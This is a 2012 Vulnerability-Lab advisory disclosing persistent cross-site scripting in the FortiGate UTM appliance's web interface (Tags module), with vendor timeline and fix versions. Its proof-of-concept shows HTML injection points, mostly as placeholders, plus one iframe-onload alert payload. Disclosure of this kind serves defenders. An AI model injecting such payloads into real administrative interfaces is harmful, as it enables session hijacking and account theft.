224 lines
No EOL
9.4 KiB
Text
224 lines
No EOL
9.4 KiB
Text
Title:
|
|
======
|
|
Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
|
|
|
|
|
|
Date:
|
|
=====
|
|
2012-09-06
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=557
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
557
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
The FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats from email
|
|
and Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time - without degrading
|
|
network performance.
|
|
|
|
Ranging from the FortiGate-30 series for small offices to the FortiGate-5000 series for large enterprises, service providers and
|
|
carriers, the FortiGate line combines the FortiOS™ security operating system with FortiASIC processors and other hardware to provide
|
|
a comprehensive and high-performance array of security and networking functions including:
|
|
|
|
* Firewall, VPN, and Traffic Shaping
|
|
* Intrusion Prevention System (IPS)
|
|
* Antivirus/Antispyware/Antimalware
|
|
* Web Filtering
|
|
* Antispam
|
|
* Application Control (e.g., IM and P2P)
|
|
* VoIP Support (H.323. and SCCP)
|
|
* Layer 2/3 routing
|
|
* Multiple WAN interface options
|
|
|
|
FortiGate appliances provide cost-effective, comprehensive protection against network, content, and application-level threats - including
|
|
complex attacks favored by cybercriminals - without degrading network availability and uptime. FortiGate platforms incorporate sophisticated
|
|
networking features, such as high availability (active/active, active/passive) for maximum network uptime, and virtual domain (VDOM)
|
|
capabilities to separate various networks requiring different security policies.
|
|
|
|
Since 2009 Fortigate appliance series got certified by the U.S. Army and is now listed in the
|
|
Information Assurance Approved Products List (IA APL). The military provides high security
|
|
standards to secure outdoor camps, air base, offices with fortigate hardware.
|
|
|
|
(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
Vulnerability-Lab Research Team discovered multiple persistent Web Vulnerabilities in the FortiGate UTM Appliance Application.
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2012-05-06: Researcher Notification & Coordination
|
|
2012-05-10: Vendor Notification
|
|
2012-06-11: Vendor Response/Feedback
|
|
2012-08-25: Vendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in FortiOS v5.0 )
|
|
2012-09-06: Public or Non-Public Disclosure
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
Fortigate
|
|
Product: UTM Appliance Application vFortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
High
|
|
|
|
|
|
Details:
|
|
========
|
|
Multiple input validation vulnerabilities(persistent) are detected in the FortiGate UTM Appliance Application. Remote attackers
|
|
& low privileged user accounts can inject (persistent) own malicious script code to manipulate specific customer/admin requests.
|
|
The vulnerability allows an local low privileged attacker to manipulate the appliance(application) via persistent script code
|
|
inject. The vulnerability is locaed in the Add or Tags module category listing with the bound vulnerable applied tags & tags display parameters.
|
|
Successful exploitation results in content module request manipulation, execution of persistent malicious script code, session
|
|
hijacking, account steal & persistent phishing.
|
|
|
|
Vulnerable Module(s): (Persistent)
|
|
[+] Tags - Applied tags
|
|
[+] Add - Tags Display
|
|
|
|
|
|
Interface - UTM WAF Web Application [Appliance]
|
|
FortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B
|
|
FortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B Series
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The persistent vulnerabilities can be exploited by remote attackers with low required user inter action or low
|
|
privileged user account. For demonstration or reproduce ...
|
|
|
|
|
|
Code Review: Tags - Applied tags [Box] > Listing
|
|
URL: http://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#
|
|
|
|
name=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if (!fwad_form_check('Please choose one address/group.',
|
|
'Please choose one interface to connect.')) return false; if (document.forms[0].submitFlag) return false; document.forms[0].
|
|
submitFlag = true;``>
|
|
<table><tbody><tr>
|
|
<td align=``left`` width=``150``><nobr>Address Name</nobr></td>
|
|
<td align=``left``><input
|
|
name=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td>Color</td>
|
|
<td><span colorclassprefix=``addr_ipv6_
|
|
`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#`` id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13``
|
|
name=``csColor1`` type=``hidden``></a></td></tr>
|
|
<tr id=``row_ipv6``>
|
|
<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>
|
|
<td
|
|
align=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0`` onfocus=``this.select()``></td>
|
|
</tr>
|
|
<tr class=``object_tag_row``>
|
|
<td colspan=``2``>Tags</td></tr>
|
|
<tr class=``object_tag_row``>
|
|
<td class=``dep_opt``><label for=``appliedTags``>Applied tags</label></td>
|
|
|
|
<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag object_tag_remove``
|
|
mkey=````><[PERSISTENT INJECTED SCRIPT CODE!]'<``=````><span class=``tag_label``>
|
|
``><[PERSISTENT INJECTED SCRIPT CODE!] <</span><span class=``tag_tail``></span><
|
|
/span></iframe></span></span></td>
|
|
</tr>
|
|
<tr class=``object_tag_row``>
|
|
<td class=``dep_opt``><label for=``addTag``>Add tags</label>
|
|
</td>
|
|
<td><input class=``ac_input`` autocomplete=``off`` name=``addTag`` id=``addTag`` type=``text``><img src=``/images/act_add.gif``
|
|
class=``tagSelector-addTag``></td>
|
|
</tr>
|
|
</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>
|
|
<input name=``tagList``
|
|
id=``tagList`` value=``"><[PERSISTENT INJECTED SCRIPT CODE!]<`` type=``hidden``>
|
|
<input name=``is_ipv6`` id=``is_ipv6`` value=``1``
|
|
type=``hidden``>
|
|
<input name=``redir`` value=``/success`` type=``hidden``>
|
|
<div class=``footer``><input class=``button`` value=``Return``
|
|
onclick=``if (window.opener) {window.close(); } else if (parent && parent.wij_in_modal_op && parent.wij_in_modal_op())
|
|
{ parent.wij_end_modal_dialog(); } else {document.location='/success'}`` type=``button``>
|
|
</div></form>
|
|
|
|
... or
|
|
|
|
<td><span class="tag_list" id="appliedTags"><span class="object_tag object_tag_remove"
|
|
mkey=""><[PERSISTENT INJECTED SCRIPT CODE!]' <"=""><span class="tag_label">"><iframe src=a
|
|
onload=alert("VL") <</span><span class="tag_tail"></span></span></iframe></span>
|
|
<span class="object_tag object_tag_remove" mkey="corp"><span class="tag_label">corp</span>
|
|
<span class="tag_tail"></span></span></span></td>
|
|
|
|
|
|
Solution:
|
|
=========
|
|
To fix the persistent vulnerabilities by parsing the object tag add input fields & output listings in all sections.
|
|
Restrict the input field and disallow script code tags or evil statement inserts.
|
|
|
|
* Fixed in FortiOS v4.3.8 B0537
|
|
* Fixed in FortiOS v5.0
|
|
|
|
|
|
Risk:
|
|
=====
|
|
The security risk of the persistent input validation vulnerabilities are estimated as high (-).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright © 2012 | Vulnerability Laboratory
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY RESEARCH LABORATORY
|
|
LABORATORY RESEARCH TEAM
|
|
CONTACT: research@vulnerability-lab.com |